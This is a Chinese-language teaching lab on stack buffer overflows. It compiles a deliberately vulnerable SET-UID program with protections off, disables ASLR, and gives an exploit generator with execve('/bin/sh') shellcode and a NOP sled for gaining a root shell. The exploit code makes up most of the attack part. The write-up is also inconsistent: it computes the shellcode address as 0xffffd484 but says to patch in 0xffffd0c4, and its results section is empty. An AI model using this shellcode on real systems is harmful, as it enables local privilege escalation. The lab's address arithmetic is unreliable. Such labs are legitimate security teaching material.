缓冲区溢出漏洞实验

实验准备

实验环境需要32位的Linux系统，需要下载安装一些用于编译 32 位 C 程序的软件包，代码如下：

$ sudo apt-get update$ sudo apt-get install -y lib32z1 libc6-dev-i386$ sudo apt-get install -y lib32readline-gplv2-dev

实验内容

初始设置

1.使用命令

$ sudo sysctl -w kernel.randomize_va_space=0

来关闭地址空间随机化。

2.用另一个 shell 程序（zsh）代替 /bin/bash，代码如下：

$ sudo su$ cd /bin$ rm sh$ ln -s zsh sh$ exit

3.输入/bin/bash

shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

漏洞程序

1.在 /tmp 目录下新建一个 stack.c 文件：

$ cd /tmp
$ vi stack.c

代码如下：

/* stack.c *//* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

2.编译该程序，并设置 SET-UID。命令如下：

$ sudo su$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c$ chmod u+s stack$ exit

攻击程序

1.在 /tmp 目录下新建一个 exploit.c 文件，代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50"     //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin"     //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50"     //pushl %eax"\x53"     //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99"     //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

2.要得到 shellcode 在内存中的地址，输入命令：

$ gdb stack$ disass main

3.根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd484(十六进制)

现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff

然后，编译 exploit.c 程序：

$ gcc -m32 -o exploit exploit.c

攻击结果

作业题

通过命令

sudo sysctl -w kernel.randomize_va_space=2

打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。